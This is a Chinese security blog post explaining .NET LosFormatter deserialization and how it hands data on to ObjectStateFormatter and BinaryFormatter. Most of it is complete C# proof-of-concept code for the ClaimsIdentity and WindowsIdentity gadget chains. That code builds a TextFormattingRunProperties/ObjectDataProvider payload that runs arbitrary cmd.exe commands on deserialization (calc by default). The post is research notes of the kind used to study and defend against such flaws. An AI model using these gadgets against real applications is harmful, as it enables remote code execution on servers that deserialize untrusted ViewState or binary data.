LosFormatter反序列化链

前言:记录LosFormatter反序列化链

参考文章:https://xz.aliyun.com/t/9597
参考文章:https://www.anquanke.com/post/id/176786

LogFormatter

LosFormatter封装在System.Web.dll中,命名空间为System.Web.UI。

LosFormatter一般也是用于序列化和反序列化Web窗体页的视图状态(ViewState),如果要把ViewState通过数据库或其他持久化设备来维持,则需要采用特定的LosFormatter类来序列化/反序列化

微软官方的阐述是有限的对象序列化(LOS)格式专门为高度精简的ASCII格式序列化,此类支持序列化的任何对象图。

无参数的构造函数表示不使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。

两个参数的构造方法表示使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。

注意:使用LosFormatter序列化对象仍需要标记[Serializable]

LosFormatter简单的示例代码,如下所示

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;

namespace SerializationCollection
{
    class Program
    {
        [Serializable]
        class Person
        {
            private string name;

            public string Name
            {
                get { return name; }
                set { name = value; }
            }

            private int age;

            public int Age
            {
                get { return age; }
                set { age = value; }
            }

            public Person(string name, int age)
            {
                Name = name;
                Age = age;
            }

            public void SayHello()
            {
                Console.WriteLine("hello");
            }
        }
        static void Main(string[] args)
        {
            LosFormatter losFormatter = new LosFormatter();
            using (MemoryStream memory = new MemoryStream())
            {
                losFormatter.Serialize(memory, new Person("jack", 15));

                memory.Position = 0;
                Person p = (Person)losFormatter.Deserialize(memory);
                p.SayHello();
                Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
            }
            Console.ReadKey();
        }
    }
}

LosFormatter序列化和反序列化的过程

这里可以通过dnspy来进行调试,如下所示

序列化过程

这边Serialize函数跟进去

来到Serialize(Stream stream, object value)

跟进this.SerializeInternal(textWriter, value);,SerializeInternal主要进行序列化过程

继续跟进this._formatter.Serialize(value);,stateGraph是要序列化的对象,这里的话就是Person对象

this.Serialize(memoryStream, stateGraph);,下面的图中可以看到最终序列化是通过ObjectStateFormatter来进行的

继续在序列化当前Person对象的name字段的时候,这里的话就会用到BinaryFormatter对象

最后将序列化完的数据进行base64编码进行返回,如下所示

反序列化过程

反序列化的时候首先会进行base64解码的操作

对应的也会使用到ObjectStateFormatter和BinaryFormatter来进行反序列化操作

ClaimsIdentity利用链

代码参考:https://github.com/microsoft/referencesource/blob/5697c29004a34d80acdaf5742d7e699022c64ecd/mscorlib/system/security/claims/ClaimsIdentity.cs

ClaimsIdentity中有多种触发方式,其中一种是利用自身的m_bootstrapContext字段,如果m_bootstrapContext存在的话那么在序列化的过程的就会将该字段写入

反序列化利用测试代码如下所示

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace SerializationCollection
{
    class Program
    {
        static void Main(string[] args)
        {
            LosFormatter losFormatter = new LosFormatter();
            using (MemoryStream memory = new MemoryStream())
            {
                TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
                My my = new My();
                my.o = textFormattingRunPropertiesMarshal;
                losFormatter.Serialize(memory, my);
                memory.Position = 0;
                losFormatter.Deserialize(memory);
            }
            Console.ReadKey();
        }
    }
    [Serializable]
    public class My
    {
        public object o;
    }

    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        public static string gadget(string cmd)
        {
            // ObjectDataProvider
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = $"/c {cmd}";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;

            return XamlWriter.Save(odp);
        }
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string cmd)
        {
            _xaml = gadget(cmd);
        }
        public TextFormattingRunPropertiesMarshal()
        {
            _xaml = gadget("calc");
        }
    }
}

堆栈调用过程如下所示,可以看到反序列化的时候LogFormatter->ObjectStateFormatter->BinaryFormatter

最终触发TextFormattingRunProperties的攻击链,如下所示

WindowsIdentity利用链

命名空间位于:System.Security.Principal,WindowsIdentity继承了ClaimsIdentity对象

反序列化构造函数和序列化函数GetObjectData的实现

从上面可以看到在调用反序列化构造函数的时候,会调用父类的反序列化构造函数

继续跟进去 Deserialize(info, default(StreamingContext), useContext: false);,可以发现有三处地方都会通过BinaryFormatter来进行反序列化操作

反序列化的对象分别是System.Security.ClaimsIdentity.actor,System.Security.ClaimsIdentity.claims,System.Security.ClaimsIdentity.bootstrapContext

因为这边还是通过BinaryFormatter来进行反序列化操作的,所以这边同样可以进行利用TextFormattingRunProperties即可

反序列化测试代码如下

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Security.Claims;
using System.Security.Principal;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace SerializationCollection
{
    class Program
    {
        static void Main(string[] args)
        {

            LosFormatter losFormatter = new LosFormatter();
            BinaryFormatter bf = new BinaryFormatter();
            using (MemoryStream memory = new MemoryStream())
            {
                TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
                bf.Serialize(memory, textFormattingRunPropertiesMarshal);
                string b64payload = Convert.ToBase64String(memory.ToArray());
                WindowsIdentityIdentityMarshal windowsIdentityIdentityMarshal = new WindowsIdentityIdentityMarshal(b64payload);

                memory.Position = 0;
                losFormatter.Serialize(memory, windowsIdentityIdentityMarshal);
                memory.Position = 0;
                losFormatter.Deserialize(memory);

            }
            Console.ReadKey();
        }
    }
    [Serializable]
    public class WindowsIdentityIdentityMarshal : ISerializable
    {
        public WindowsIdentityIdentityMarshal(string b64payload)
        {
            B64Payload = b64payload;
        }

        private string B64Payload { get; }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(WindowsIdentity));
            info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
            info.AddValue("System.Security.ClaimsIdentity.bootstrapContext", B64Payload);
            info.AddValue("System.Security.ClaimsIdentity.claims", B64Payload);
        }
    }
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        public static string gadget(string cmd)
        {
            // ObjectDataProvider
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = $"/c {cmd}";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;

            return XamlWriter.Save(odp);
        }
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string cmd)
        {
            _xaml = gadget(cmd);
        }
        public TextFormattingRunPropertiesMarshal()
        {
            _xaml = gadget("calc");
        }
    }
}

测试结果如下所示,可以成功反序列化命令执行

SessionSecurityToken利用链

先放着先,感觉有点复杂

posted @ 2023-03-29 01:58  zpchcbd  阅读(152)  评论(0)    收藏  举报